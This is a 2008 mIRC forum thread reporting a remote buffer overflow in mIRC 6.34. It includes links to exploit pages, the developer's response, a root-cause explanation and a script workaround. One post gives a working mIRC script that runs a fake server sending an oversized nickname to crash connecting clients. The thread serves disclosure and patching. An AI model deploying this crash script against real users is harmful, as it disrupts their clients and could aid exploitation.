mIRC

Home About Download Register Community Help

Page 1 of 1 1
Topic Options
#204830 - 03/10/08 10:38 AM Mirc 6.34 Remote Buffer Overflow
emm1
newbie


Registered: 03/10/08
Posts: 1
Hello, I was just notified of this bug here. Hopefully someone can address it quickly.

http://www.milw0rm.com/exploits/6654

Top
#204831 - 03/10/08 01:05 PM Re: Mirc 6.34 Remote Buffer Overflow [Re: emm1]
Collective
Carpal Tunnel


Registered: 10/12/02
Posts: 3195
Loc: London, UK
Confirmed, crashes a clean mIRC 6.34.
Top
#204832 - 03/10/08 01:36 PM Re: Mirc 6.34 Remote Buffer Overflow [Re: emm1]
Khaled Administrator
Pooh-Bah


Registered: 05/12/02
Posts: 1859
This is a server-based expoit, not a user-based exploit, so as long as you're connecting to a trusted IRC network, such as one of the major networks, you should be fine.

That said, I can't seem to reproduce this issue here so far, neither in a clean install of the release version nor in a debug version of mIRC.

When I test the perl script and make mIRC connect to the local perl server, nothing happens, other than a disconnect from the server because the server sequence is incorrect.

When I test the same string sequence using internal debugging in mIRC, again nothing happens other than mIRC opening a query window to that user.

I'll continue to try to reproduce this issue and if verified I should have an update out shortly.

Top
#204867 - 04/10/08 02:53 PM Re: Mirc 6.34 Remote Buffer Overflow [Re: Khaled]
Pivo
journeyman


Registered: 23/06/08
Posts: 58
That Perl Script is crashing both my modified and my clean installation of mIRC.
Screenshot
Windows XP Service Pack 3, mIRC 6.34, ...

Edit: I have translated this into an mIRC script, for easier testing...
To start listening, type /crash ...
Code:
alias crash {
  ; check for open sockets
  if ($sock(crashing*)) {
    sockclose crashing*
    echo -sgt Crash-Sockets closed.
    return
  }

  ; determining port
  var %p = 6667
  while (!$portfree(%p) && %p <= 65535) { inc %p }
  if (%p >= 65536) { echo -sgt ERROR: Socket could not be created. | return }

  ; listening
  socklisten crashing %p
  if (!$sock(crashing)) { echo -sgt ERROR: Socket could not be created. | return }
  echo -sgt Crash-Socket listening...
  echo -sgt Type 04/server localhost %p $+  to crash mirc.
}

on *:socklisten:crashing: {
  var %s = crashing. $+ $ticks
  sockaccept %s
  sockwrite -n %s :irc_server.stuff 001 yow :Welcome to the Internet Relay Network yow
  sockwrite -n %s $+(:,$str(A,313),CC) PRIVMSG yow : /FINGER yow.
  echo -sgt Sending crash-message to $sock(%s).ip
  .timer 1 3 sockclose %s
}


Edited by Pivo (04/10/08 05:30 PM)

Top
#204892 - 05/10/08 02:58 AM Re: Mirc 6.34 Remote Buffer Overflow [Re: Pivo]
DONGS
newbie


Registered: 05/10/08
Posts: 1
http://www.milw0rm.com/exploits/6666

Can you fix it now?

Top
#204899 - 05/10/08 12:24 PM Re: Mirc 6.34 Remote Buffer Overflow [Re: Khaled]
Sat
addict


Registered: 19/04/04
Posts: 531
Loc: The Netherlands
The problem is with the sprintf(buf, "f%s", nick); of the code getting the font for the new query window from mirc.ini - buf is 300 bytes, nick is taken directly from the server.

Temporary workaround until the new mIRC is out:
Code:
on ^*:OPEN:?:*:if ($len($nick) > 298) halt

Other, more invasive workarounds: use a dedicated query window, put queries on ignore, etc.
_________________________
Saturn, QuakeNet staff

Top
#204962 - 07/10/08 07:15 PM Re: Mirc 6.34 Remote Buffer Overflow [Re: Sat]
Khaled Administrator
Pooh-Bah


Registered: 05/12/02
Posts: 1859
Thanks, I have been able to reproduce this issue and should have an update ready for release soon. In the meantime, the above script-based fix posted by Sat resolves the issue, as does enabling the "Use single message window" option in the mIRC Options/IRC dialog.
Top
#204965 - 07/10/08 11:59 PM Re: Mirc 6.34 Remote Buffer Overflow [Re: Khaled]
Trashlord_
journeyman


Registered: 26/10/07
Posts: 52
Loc: Israel
Just wanted to add that I have tested this under WINE in Linux, and mIRC crashes there as well.
Top
Page 1 of 1 1


Moderator:  d00dman, Hammer, Karen, Krejt, Mentality, Merlin, MIMP, ParaBrat, qwerty 
Hop to: